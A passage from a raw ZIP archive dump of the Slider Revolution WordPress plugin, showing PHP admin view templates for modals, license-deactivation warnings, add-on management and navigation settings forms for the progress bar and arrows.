			<a href="https://www.themepunch.com/links/newsletter" target="_blank" rel="noopener"><bluebutton ><?php _e('Sign Up', 'revslider');?></bluebutton></a>
			<div class="div25"></div>
			<div class="infobox">
				<div class="bluetitle"><?php _e('Updates, New Products, Spotlights', 'revslider');?></div>
				<div class="simpletext"><?php _e('Get access to the latest News from Slider Revolution. We promise to never send you Spam!', 'revslider');?></div>
			</div>
		</div>

		<!-- PLUGIN HISTORY -->
		<div id="twitter_wrapper" class="pli_right" style="width:100%">
			<h3 class="pli_title"><?php _e('Whats New?', 'revslider');?></h3>
			<a id="twitter_timeline" class="twitter-timeline" data-height="750" data-theme="dark" href="https://twitter.com/revslider?include_rtf=false">Tweets Liked by @ThemePunch</a> 

		</div>
	</div>
</div>

<script type="text/javascript">
	window.sliderLibrary = JSON.parse(<?php echo $rsaf->json_encode_client_side(array('sliders' => $rs_od)); ?>);
	window.rs_system = JSON.parse(<?php echo $rsaf->json_encode_client_side($system_config); ?>);
	var rvs_f_initOverView_Once = false;
	if (document.readyState === "loading") 
		document.addEventListener('readystatechange',function(){
			if ((document.readyState === "interactive" || document.readyState === "complete") && !rvs_f_initOverView_Once) {
				rvs_f_initOverView_Once = true;
				RVS.ENV.code = "<?php echo $code; ?>";
				RVS.F.initOverView();
			}
		});
	else {
		rvs_f_initOverView_Once = true;
		RVS.F.initOverView();
	}			
</script>PK�y3\˲Fh'h'views/modals-general.phpnu�[���<?php
/**
 * Provide an admin area view for the Slider Modal Options
 *
 * This file is used to markup the admin-facing aspects of the plugin.
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();
?>

<!-- UNDERLAY FOR MODALS -->
<div id="rb_modal_underlay"></div>

<!-- DECISION MODAL -->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_decisionModal">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_decisionModal" class="rb_modal form_inner">
				<div class="rbm_header"><i id="decmod_icon" class="rbm_symbol material-icons">info</i><span id="decmod_title" class="rbm_title"><?php _e('Decision Modal Title', 'revslider');?></span></div>
				<div class="rbm_content">
					<div id="decmod_maintxt"></div>
					<div id="decmod_subtxt"></div>
					<div class="div75"></div>
					<div id="decmod_do_btn" class="rbm_darkhalfbutton mr10"><i id="decmod_do_icon" class="material-icons">add_circle_outline</i><span id="decmod_do_txt"><?php _e('Do It', 'revslider');?></span></div><!--
					--><div id="decmod_dont_btn" class="rbm_darkhalfbutton"><i id="decmod_dont_icon" class="material-icons">add_circle_outline</i><span id="decmod_dont_txt"><?php _e('Dont Do It', 'revslider');?></span></div>
				</div>
			</div>
		</div>
	</div>
</div>

<!-- PREVIEW MODAL -->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_preview">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_preview" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">search</i><span class="rbm_title"><?php _e('Preview', 'revslider');?></span><span class="rbm_subtitle"><i class="material-icons">photo</i><span id="rbm_preview_moduletitle">Some Module Title</span></span><span class="rbm_preview_sizes"><i data-ref="d" class="rbm_prev_size_sel material-icons selected">desktop_windows</i><i data-ref="n" class="rbm_prev_size_sel material-icons">laptop</i><i data-ref="t" class="rbm_prev_size_sel material-icons">tablet_mac</i><i data-ref="m" class="rbm_prev_size_sel material-icons">phone_android</i></span><div data-clipboard-action="copy" data-clipboard-target="#copy_shortcode_from_preview" class="copypreviewshortcode basic_action_button autosize rightbutton" style="margin-top:10px;margin-right:30px"><i class="material-icons">content_paste</i><?php _e('Copy Embed Code', 'revslider');?></div><i class="rbm_close material-icons">close</i></div>	
				<div class="rbm_content">
					<input style="position:absolute; top:0px; left:0px;height:0px;width:100%; opacity:0; overflow:hidden; outline:none;border:none" class="inputtocopy" id="copy_shortcode_from_preview" readonly="" value="[rev_slider alias=&quot;slider1&quot;][/rev_slider]">
					<div id="rbm_preview_live"></div>
				</div>
			</div>
		</div>
	</div>
</div>

<!--ADDONS INSTALLATION MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_addons">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_addons" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">extension</i><span class="rbm_title"><?php _e('Addons', 'revslider');?></span><i class="rbm_close material-icons">close</i><div id="check_addon_updates_wrap"><div id="check_addon_updates" class="basic_action_button autosize"><i class="material-icons">refresh</i><?php _e('Check for Updates', 'revslider');?></div><div id="process_all_addon_updates" class="ale_i_allupdateaddon  basic_action_coloredbutton autosize basic_action_button autosize"><i class="material-icons">get_app</i><?php _e('Update All', 'revslider');?></div></div></div>
				<div id="addon_overviewheader_wrap">
						<div id="addon_overviewheader" class="addon_overview_header">
							<div class="rs_fh_left"><input class="flat_input" id="searchaddons" type="text" placeholder="<?php _e('Search Addons...', 'revslider');?>"/></div>
							<div class="rs_fh_right" style="margin-right:-5px">
								<select id="sel_addon_sorting" data-evt="updateAddonsOverview" data-evtparam="#addon_sorting" class="addon_sortby tos2 nosearchbox callEvent" data-theme="autowidthinmodal"><option value="datedesc"><?php _e('Sort by Date', 'revslider');?></option><option value="pop"><?php _e('Sort by Popularity', 'revslider');?></option><option value="title"><?php _e('Sort by Title', 'revslider');?></option></select>
								<select id="sel_addon_filtering" data-evt="updateAddonsOverview" data-evtparam="#addon_filtering" class="addon_filterby tos2 nosearchbox callEvent" data-theme="autowidthinmodal"><option value="all"><?php _e('Show all Addons', 'revslider');?></option><option value="action"><?php _e('Action Needed', 'revslider');?></option><option value="installed"><?php _e('Installed Addons', 'revslider');?></option><option value="notinstalled"><?php _e('Not Installed Addons', 'revslider');?></option><option value="activated"><?php _e('Activated Addons', 'revslider');?></option></select>							
							</div>
							<div class="tp-clearfix"></div>
						</div>
					</div>
				<div id="rbm_addonlist" class="rbm_content"></div>
				<div id="rbm_addon_details">
					<div class="rbm_addon_details_inner"><div class="div20"></div><div class="ale_i_title"><?php _e('Slider Revolution Addons', 'revslider');?></div><div class="ale_i_content"><?php _e('Please select an Addon to start with.', 'revslider');?></div><div class="div20"></div></div>
				</div>
				<div id="rbm_configpanel_savebtn"><i class="material-icons mr10">save</i><span class="rbm_cp_save_text"><?php _e('Save Configuration', 'revslider');?></span></div>
			</div>
		</div>
	</div>
</div>

<!--DEACTIVATED WARNING MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_notactive_warning">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_notactive_warning" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_close material-icons">close</i></div>	
				<div class="rbm_content">
					<div class="mcg_page mcg_selected">
						<div class="dcenter">							
							<div class="bigredwarning"><i class="material-icons">error_outline</i></div>
							<div class="mcg_page_title"><?php _e('Your Slider Revolution license<br>has been deactivated', 'revslider');?></div>
							<div><a class="simpletext smalllink" target="_blank" rel="noopener" href="https://www.sliderrevolution.com/faq/why-was-my-slider-revolution-license-deactivated/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=deactivatedfaq"><?php _e('Why did this happen?', 'revslider');?></a></div>
							<div class="div45"></div>
							<div class="dr_warningbox">
								<div class="mcg_page_subtitle"><i class="material-icons warningicon">block</i> <?php _e('You no longer have access to Premium features', 'revslider');?></div>
								<div class="div5"></div>
								<div class="mcg_page_content"><?php _e('Template & Object Library, Add-Ons, Updates, Ticket Support', 'revslider');?></div>
							</div>
							<div class="div10"></div>
							<div class="dr_warningbox">
								<div class="mcg_page_subtitle"><i class="material-icons warningicon">visibility_off</i> <?php _e('Your installed Premium templates and addons stopped working', 'revslider');?></div>
								<div class="div5"></div>
								<div class="mcg_page_content"><?php _e('Premium templates and addons will no longer display on your website', 'revslider');?></div>
							</div>
							<div class="div55"></div>
							<div class="simpletext"><?php _e('You can restore all Premium features by <a target="_blank" rel="noopener" href="https://www.sliderrevolution.com/manual/quick-setup-register-your-plugin/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=registermanual">registering a license key</a><br>on this Slider Revolution installation.','revslider'); ?></div>
							<div class="div40"></div>
							<purplebutton id="pb_closeandregister" style="display:inline-block; margin-right:10px" class="mcg_next_page"><?php _e('Register Licence Key', 'revslider');?></purplebutton>							
							<a target="_blank" rel="noopener"  href="https://account.sliderrevolution.com/portal/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=members" style="display:inline-block;" class="bluebutton normal mcg_quit_page"><?php _e('Buy License Key', 'revslider');?></a>
							<div class="div40"></div>
						</div>						
					</div>										
				</div>
			</div>
		</div>
	</div>
</div>

<!--DEACTIVATED ADDONS WARNING MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_notactiveaddon_warning">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_notactiveaddon_warning" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_close material-icons">close</i></div>	
				<div class="rbm_content">
					<div class="mcg_page mcg_selected">
						<div class="dcenter">							
							<div class="bigyellowwarning"><i class="material-icons">error_outline</i></div>
							<div class="mcg_page_title"><?php _e('There is a problem with some of your<br>Slider Revolution modules', 'revslider');?></div>
							<div class="simpletext"><?php _e('These modules are using <a class="smalllink" target="_blank" rel="noopener" href="https://www.sliderrevolution.com/expand-possibilities-with-addons/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=addons">addons</a> which are deactivated or not installed:', 'revslider');?></a></div>
							<div class="div45"></div>
							<div id="list_of_deactivated_addons"></div>
							<div class="div55"></div>
							<div class="simpletext"><?php _e('Press the button below to install & activate<br>all addons required by your modules.','revslider'); ?></div>
							<div class="div40"></div>
							<purplebutton id="naa_install_all" class="mcg_next_page"><?php _e('Fix All Addons', 'revslider');?></purplebutton>							
							<div class="div40"></div>
						</div>						
					</div>										
				</div>
			</div>
		</div>
	</div>
</div>


PK�y3\RS�؃؃views/builder-nav-forms.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();
?>


<!-- SLIDER SETTINGS -->
<div id="nav_settings" data-root="settings.">

	<div class="form_collector nav_collector" data-type="sliderconfig" data-pcontainer="#nav_settings" data-offset="#rev_builder_wrapper">
		<div class="main_mode_breadcrumb_wrap"><div class="main_mode_submode"><?php _e('Navigation Options', 'revslider');?></div></div>
		<div class="gso_wrap">
			<div id="gst_nav_1" class="nav_submodule_trigger opensettingstrigger selected" data-select="#gst_nav_1" data-unselect=".nav_submodule_trigger" data-collapse="true" data-forms='["#form_nav_pbara"]'><i class="material-icons">timelapse</i><span class="gso_title"><?php _e('Progress', 'revslider');?></span></div><!--
			--><div id="gst_nav_2" data-select="#gst_nav_2" data-unselect=".nav_submodule_trigger" class="nav_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_nav_arrows"]'><i class="material-icons">swap_horiz</i><span class="gso_title"><?php _e('Arrows', 'revslider');?></span></div><!--
			--><div id="gst_nav_3" data-select="#gst_nav_3" data-unselect=".nav_submodule_trigger" class="nav_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_nav_bullets"]'><i class="material-icons">more_horiz</i><span class="gso_title"><?php _e('Bullets', 'revslider');?></span></div><!--
			--><div id="gst_nav_4" data-select="#gst_nav_4" data-unselect=".nav_submodule_trigger" class="nav_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_nav_tabs"]'><i class="material-icons">view_column</i><span class="gso_title"><?php _e('Tabs', 'revslider');?></span></div><!--
			--><div id="gst_nav_5" data-select="#gst_nav_5" data-unselect=".nav_submodule_trigger" class="nav_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_nav_thumbs"]'><i class="material-icons">filter_frames</i><span class="gso_title"><?php _e('Thumbs', 'revslider');?></span></div><!--
			--><div id="gst_nav_6" data-select="#gst_nav_6" data-unselect=".nav_submodule_trigger" class="nav_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_nav_pprevima"]'><i class="material-icons">image</i><span class="gso_title"><?php _e('Prev Size', 'revslider');?></span></div><!--
			--><div id="gst_nav_7" data-select="#gst_nav_7" data-unselect=".nav_submodule_trigger" class="nav_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_nav_touch"]'><i class="material-icons">pan_tool</i><span class="gso_title"><?php _e('Touch', 'revslider');?></span></div><!--
			--><div id="gst_nav_8" data-select="#gst_nav_8" data-unselect=".nav_submodule_trigger" class="nav_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_nav_misc"]'><i class="material-icons">keyboard</i><span class="gso_title"><?php _e('Keyboard', 'revslider');?></span></div><!--
			--><div id="gst_nav_9" data-select="#gst_nav_9" data-unselect=".nav_submodule_trigger" class="nav_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_nav_mousescroll"]'><i class="material-icons">mouse</i><span class="gso_title"><?php _e('Mouse', 'revslider');?></span></div><!--
			--><div id="gst_nav_10" class="callEvent general_submodule_trigger openmodaltrigger" data-evt="openNavigationEditor"><i class="material-icons">games</i><span class="gso_title"><?php _e('Nav Editor', 'revslider');?></span></div>

		</div>
	</div>


	<!-- NAVIGATION SETTINGS -->
	<div class="form_collector sceneunavailable carouselavailable standardavailable slider_nav_layout_collector nav_collector" data-type="sliderconfig" data-pcontainer="#nav_settings" data-offset="#rev_builder_wrapper" id="nav_form_collector" >
		<!-- PROGRESS BAR SETTINGS -->
		<div id="form_nav_pbara" data-select="#gst_nav_1" data-unselect=".nav_submodule_trigger" class="formcontainer form_menu_inside">
			<div class="collectortabwrap"><div id="collectortab_form_pbara" class="collectortab form_menu_inside" data-forms='["#form_nav_pbara"]'><i class="material-icons">timelapse</i><?php _e('Progress Bar', 'revslider');?></div></div>
			<!--<div id="slider_pb_settings_arrow" class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<div class="form_inner">
				<div class="form_inner_header"><i class="material-icons">timelapse</i><?php _e('Progress Bar', 'revslider');?></div>
				<div class="on_off_navig_wrap"><input type="checkbox"  id="sr_pb_set" class="sliderinput easyinit" data-evt="sliderProgressUpdate" data-r="general.progressbar.set" data-showhide="#slider_pb_settings, #slider_pb_settings_arrow" data-showhidedep="true"/></div>
				<div id="slider_pb_settings" class="collapsable" style="display:block">
					<label_a><?php _e('Based On', 'revslider');?></label_a><select data-evt="sliderProgressUpdate" id="sr_pb_basedon" data-show=".progressgaps_*val*" data-hide=".progressgaps" class="sliderinput tos2 nosearchbox easyinit"  data-r="general.progressbar.basedon"><option value="slide"><?php _e('Current Slide Progress', 'revslider');?></option><option value="module"><?php _e('Module Progress', 'revslider');?></option></select><span class="linebreak"></span>					
					<label_a><?php _e('Style', 'revslider');?></label_a><select data-evt="sliderProgressUpdate" id="sr_pb_style" class="sliderinput tos2 nosearchbox easyinit"  data-r="general.progressbar.style" data-show=".progressoffsets_*val*" data-hide=".progressoffsets"><option value="horizontal"><?php _e('Horizontal', 'revslider');?></option><option value="vertical"><?php _e('Vertical', 'revslider');?></option><option value="cw"><?php _e('Circle CW', 'revslider');?></option><option value="ccw"><?php _e('Circle CCW', 'revslider');?></option></select><span class="linebreak"></span>
					<div class="progressoffsets progressoffsets_horizontal progressoffsets_vertical">
						<div class="progressgaps progressgaps_module">
							<label_a><?php _e('Gap', 'revslider');?></label_a><input type="checkbox" class="easyinit sliderinput" data-evt="sliderProgressUpdate" id="sr_pb_separator" data-showhide=".separatorpb" data-showhidedep="true" data-r="general.progressbar.gap"><span class="linebreak"></span>						
							<div class="separatorpb">
								<label_a><?php _e('Gap Size', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit" data-numeric="true" data-allowed="" data-evt="sliderProgressUpdate" data-r="general.progressbar.gapsize" type="text" id="sr_pb_gaps" ><span class="linebreak"></span>						
								<label_a><?php _e('Gap Color', 'revslider');?></label_a><input type="text" data-editing="Gap Color" data-evt="sliderProgressUpdate" name="progressgapcolor" data-visible="true" id="progressgapcolor" class="my-color-field sliderinput easyinit" data-r="general.progressbar.gapcolor" value="transparent">							
							</div>
						</div>
					</div>
					<div class="div5"></div>										
					<label_a><?php _e('Progress Bar', 'revslider');?></label_a><input type="text" data-editing="Progressbar Color" data-evt="sliderProgressUpdate" name="sliderprogresscolor" data-visible="true" id="sliderprogresscolor" class="my-color-field sliderinput easyinit" data-r="general.progressbar.color" value="transparent">
					<label_a><?php _e('Background', 'revslider');?></label_a><input type="text" data-editing="Progressbar Color BG" data-evt="sliderProgressUpdate" name="sliderprogresscolorbg" data-visible="true" id="sliderprogresscolorbg" class="my-color-field sliderinput easyinit" data-r="general.progressbar.bgcolor" value="transparent">
					<div class="div5"></div>
					<label_a>Aligned by</label_a>
					<div class="radiooption">						
						<div><input class="sliderinput easyinit" data-evt="sliderProgressUpdate" type="radio" value="grid" id="sr_pr_alignscene_grid" name="sr_pr_alignscene" data-r="general.progressbar.alignby"><label_sub><?php _e('Layer Area', 'revslider');?></label_sub></div>
						<div><input class="sliderinput easyinit" data-evt="sliderProgressUpdate" type="radio" value="slider" id="sr_pr_alignscene_slider" name="sr_pr_alignscene" data-r="general.progressbar.alignby"><label_sub><?php _e('Scene', 'revslider');?></label_sub></div>
					</div>
					<div class="div20"></div>
					<div class="div5"></div>					
					<select style="display:none" id="sr_progbaralignrhor" data-evt="sliderProgressUpdate" data-evtparam="progressbar" data-unselect=".progressbar_selector" data-select="#progressbar_selector_*val*-*RVAL*" data-rval="settings.general.progressbar.vertical" class="sliderinput easyinit" data-r="general.progressbar.horizontal" data-triggerinp="#generalprogressbaroffsetx" data-triggerinpval="0"><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select>
					<select style="display:none" id="sr_progbaralignrver" data-evt="sliderProgressUpdate" data-evtparam="progressbar" data-unselect=".progressbar_selector" data-select="#progressbar_selector_*RVAL*-*val*" data-rval="settings.general.progressbar.horizontal" class="sliderinput easyinit" data-r="general.progressbar.vertical" data-triggerinp="#generalprogressbaroffsety"  data-triggerinpval="0"><option value="top"><?php _e('Top', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select>					
					<row class="direktrow">
						<onelong>
							<label_a><?php _e('Aligment', 'revslider');?></label_a>
							<div class="bg_alignselector_wrap">
								<div class="bg_align_row">
									<div data-type="progressbar" class=" progressbar_selector bg_alignselector" data-select="#sr_progbaralignrhor,#sr_progbaralignrver" data-val="left,top" id="progressbar_selector_left-top"></div>
									<div data-type="progressbar" class=" progressbar_selector bg_alignselector" data-select="#sr_progbaralignrhor,#sr_progbaralignrver" data-val="center,top" id="progressbar_selector_center-top"></div>
									<div data-type="progressbar" class=" progressbar_selector bg_alignselector" data-select="#sr_progbaralignrhor,#sr_progbaralignrver" data-val="right,top" id="progressbar_selector_right-top"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="progressbar" class=" progressbar_selector bg_alignselector" data-select="#sr_progbaralignrhor,#sr_progbaralignrver" data-val="left,center" id="progressbar_selector_left-center"></div>
									<div data-type="progressbar" class=" progressbar_selector bg_alignselector" data-select="#sr_progbaralignrhor,#sr_progbaralignrver" data-val="center,center" id="progressbar_selector_center-center"></div>
									<div data-type="progressbar" class=" progressbar_selector bg_alignselector" data-select="#sr_progbaralignrhor,#sr_progbaralignrver" data-val="right,center" id="progressbar_selector_right-center"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="progressbar" class=" progressbar_selector bg_alignselector" data-select="#sr_progbaralignrhor,#sr_progbaralignrver" data-val="left,bottom" id="progressbar_selector_left-bottom"></div>
									<div data-type="progressbar" class=" progressbar_selector bg_alignselector" data-select="#sr_progbaralignrhor,#sr_progbaralignrver" data-val="center,bottom" id="progressbar_selector_center-bottom"></div>
									<div data-type="progressbar" class=" progressbar_selector bg_alignselector" data-select="#sr_progbaralignrhor,#sr_progbaralignrver" data-val="right,bottom" id="progressbar_selector_right-bottom"></div>
								</div>
							</div>
						</onelong>
						<oneshort>
							<div class="progressoffsets progressoffsets_vertical progressoffsets_ccw progressoffsets_cw"><label_icon class="ui_x"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="general.progressbar.x" data-evt="sliderProgressUpdate" data-numeric="true"  data-min="-1200" data-max="1200" type="text" id="generalprogressbaroffsetx" ></div>
							<div class="progressoffsets progressoffsets_horizontal progressoffsets_ccw progressoffsets_cw"><label_icon class="ui_y"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="general.progressbar.y" data-evt="sliderProgressUpdate" data-numeric="true"  data-min="-1200" data-max="1200" type="text" id="generalprogressbaroffsety" ></div>
						</oneshort>
					</row>
					<div class="div5"></div>										
					<label_a><?php _e('Strength', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit" data-allowed="px,%" data-numeric="true" data-evt="sliderProgressUpdate" data-r="general.progressbar.size" type="text" id="sr_pb_size" ><span class="linebreak"></span>
					<div class="progressoffsets progressoffsets_ccw progressoffsets_cw"><label_a><?php _e('Radius', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit" data-evt="sliderProgressUpdate" data-r="general.progressbar.radius" type="text" id="sr_pb_radius" ></div>
					<label_a><?php _e('Reset', 'revslider');?></label_a><select class="sliderinput tos2 nosearchbox easyinit"  data-r="general.progressbar.reset"><option value="reset"><?php _e('No Animation', 'revslider');?></option><option value="animate"><?php _e('Animate', 'revslider');?></option></select><span class="linebreak"></span>
					<div class="div5"></div>
					<row class="directrow">
						<onelong><label_icon class="ui_desktop"></label_icon><input type="checkbox" class="easyinit sliderinput" data-r="general.progressbar.visibility.d"></onelong>
						<oneshort><label_icon class="ui_notebook"></label_icon><input type="checkbox" class="easyinit sliderinput" data-r="general.progressbar.visibility.n" ></oneshort>
					</row>
					<row class="directrow">
						<onelong><label_icon class="ui_tablet"></label_icon><input type="checkbox" class="easyinit sliderinput" data-r="general.progressbar.visibility.t" ></onelong>
						<oneshort><label_icon class="ui_mobile"></label_icon><input type="checkbox" class="easyinit sliderinput" data-r="general.progressbar.visibility.m" ></oneshort>
					</row>
				</div>
			</div>
		</div><!-- PROGRESS BAR SETTINGS ENDS-->

		<!-- ARROWS SETTING -->
		<div id="form_nav_arrows" data-select="#gst_nav_2" data-unselect=".nav_submodule_trigger" class="formcontainer carouselenable standardenable herodisable collapsed form_menu_inside">
			<div class="collectortabwrap"><div id="collectortab_form_nav_arr" class="collectortab form_menu_inside" data-forms='["#form_nav_arrows"]'><i class="material-icons">swap_horiz</i><?php _e('Arrows', 'revslider');?></div></div>
			<!--<div id="nav_arrows_settings_arrow" class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<ul class="form_menu_level_1">
				<li data-target="#form_nav_arrows_mainstyle" class="form_menu_level_1_li" id="sr_na_arr_0"><?php _e('Style', 'revslider');?></li>
				<li data-target="#form_nav_arrows_visi" class="form_menu_level_1_li" id="sr_na_arr_1"><?php _e('Visibility', 'revslider');?></li>
				<li data-target="#form_nav_arrows_left" class="form_menu_level_1_li" id="sr_na_arr_12"><?php _e('Left Arrow', 'revslider');?></li>
				<li data-target="#form_nav_arrows_right" class="form_menu_level_1_li" id="sr_na_arr_13"><?php _e('Right Arrow', 'revslider');?></li>
				<li data-target="#form_nav_arrows_style" class="form_menu_level_1_li" id="sr_na_arr_2"><?php _e('Style', 'revslider');?></li>
				<li data-target="#form_slide_nav_arrows" class="form_menu_level_1_li" id="sr_na_arr_21"><?php _e('Style on Slide', 'revslider');?></li>
			</ul>
			<div id="form_nav_arrows_mainstyle" class="form_inner open" >
				<div class="form_inner_header"><i class="material-icons">opacity</i><?php _e('Arrow Type', 'revslider');?></div>
				<div class="on_off_navig_wrap"><input type="checkbox"  id="sr_usenavarrow" class="sliderinput easyinit nav-enable" data-evt="sliderNavUpdate" data-evtparam="arrows" data-showhide="#arrow_main_style_collaps, #form_nav_arrows_left, #form_nav_arrows_right, #form_nav_arrows_visi, #form_nav_arrows_style, #form_slide_nav_arrows" data-showhidedep="true" data-r="nav.arrows.set"/></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_arr_1"><i class="material-icons">arrow_drop_down</i></div>-->
				<div id="arrow_main_style_collaps" class="collapsable">
					<label_a><?php _e('Arrow Style', 'revslider');?></label_a><select id="sr_arrows_style"  data-evt="sliderNavUpdate" data-evtparam="arrows" data-r="nav.arrows.style" class="sliderinput tos2 nosearchbox easyinit sr_nav_style_tos" >
						<option value=""><?php _e('No Style', 'revslider');?></option>

					</select>
				</div>
			</div>

			<div id="form_nav_arrows_left" class="form_inner open" >
				<div class="form_inner_header"><i class="material-icons">arrow_back</i><?php _e('Left Arrow', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_arr_12"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">

					
					

					<label_a><?php _e('Aligned by', 'revslider');?></label_a>
					<div class="radiooption">
						<div><input class="sliderinput easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" type="radio" value="slider" name="sr_leftarralign" data-r="nav.arrows.left.align"><label_sub><?php _e('Module Dimension', 'revslider');?></label_sub></div>
						<div><input class="sliderinput easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" type="radio" value="grid" name="sr_leftarralign" data-r="nav.arrows.left.align"><label_sub><?php _e('Content', 'revslider');?></label_sub></div>
					</div>
					<div class="div20"></div>

					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" id="sr_leftarrhor" data-unselect=".left_arrow_position_selector" data-select="#left_arrow_position_selector_*val*-*RVAL*" data-rval="settings.nav.arrows.left.vertical" class="sliderinput easyinit" data-r="nav.arrows.left.horizontal" data-triggerinp="#nav_arrows_left_offsetx" data-triggerinpval="0"><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select>
					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" id="sr_leftarrver" data-unselect=".left_arrow_position_selector" data-select="#left_arrow_position_selector_*RVAL*-*val*" data-rval="settings.nav.arrows.left.horizontal" class="sliderinput easyinit" data-r="nav.arrows.left.vertical" data-triggerinp="#nav_arrows_left_offsety"  data-triggerinpval="0"><option value="top"><?php _e('Top', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select>

					<row class="direktrow">
						<onelong>
							<label_a><?php _e('Aligment', 'revslider');?></label_a>
							<div class="bg_alignselector_wrap">
								<div class="bg_align_row">
									<div data-type="arrows" class="navaligntrigger left_arrow_position_selector bg_alignselector" data-select="#sr_leftarrhor,#sr_leftarrver" data-val="left,top" id="left_arrow_position_selector_left-top"></div>
									<div data-type="arrows" class="navaligntrigger left_arrow_position_selector bg_alignselector" data-select="#sr_leftarrhor,#sr_leftarrver" data-val="center,top" id="left_arrow_position_selector_center-top"></div>
									<div data-type="arrows" class="navaligntrigger left_arrow_position_selector bg_alignselector" data-select="#sr_leftarrhor,#sr_leftarrver" data-val="right,top" id="left_arrow_position_selector_right-top"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="arrows" class="navaligntrigger left_arrow_position_selector bg_alignselector" data-select="#sr_leftarrhor,#sr_leftarrver" data-val="left,center" id="left_arrow_position_selector_left-center"></div>
									<div data-type="arrows" class="navaligntrigger left_arrow_position_selector bg_alignselector" data-select="#sr_leftarrhor,#sr_leftarrver" data-val="center,center" id="left_arrow_position_selector_center-center"></div>
									<div data-type="arrows" class="navaligntrigger left_arrow_position_selector bg_alignselector" data-select="#sr_leftarrhor,#sr_leftarrver" data-val="right,center" id="left_arrow_position_selector_right-center"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="arrows" class="navaligntrigger left_arrow_position_selector bg_alignselector" data-select="#sr_leftarrhor,#sr_leftarrver" data-val="left,bottom" id="left_arrow_position_selector_left-bottom"></div>
									<div data-type="arrows" class="navaligntrigger left_arrow_position_selector bg_alignselector" data-select="#sr_leftarrhor,#sr_leftarrver" data-val="center,bottom" id="left_arrow_position_selector_center-bottom"></div>
									<div data-type="arrows" class="navaligntrigger left_arrow_position_selector bg_alignselector" data-select="#sr_leftarrhor,#sr_leftarrver" data-val="right,bottom" id="left_arrow_position_selector_right-bottom"></div>
								</div>
							</div>
						</onelong>
						<oneshort>
							<label_icon class="ui_x"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.arrows.left.offsetX" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" data-allowed="px" data-numeric="true"  data-min="-1200" data-max="1200" type="text" id="nav_arrows_left_offsetx" >
							<label_icon class="ui_y"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.arrows.left.offsetY" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" data-allowed="px" data-numeric="true"  data-min="-1200" data-max="1200" type="text" id="nav_arrows_left_offsety" >
						</oneshort>
					</row>

					<div class="div20"></div>

					<label_a><?php _e('Animation', 'revslider');?></label_a><select  id="sr_arrowleft_animation"  data-r="nav.arrows.left.anim" class="sliderinput tos2 nosearchbox easyinit">						
						<option value="fade"><?php _e('Fade', 'revslider');?></option>
						<option value="left"><?php _e('From Left', 'revslider');?></option>
						<option value="right"><?php _e('From Right', 'revslider');?></option>
						<option value="top"><?php _e('From Top', 'revslider');?></option>
						<option value="bottom"><?php _e('From Bottom', 'revslider');?></option>
						<option value="zoomin"><?php _e('Zoom In', 'revslider');?></option>
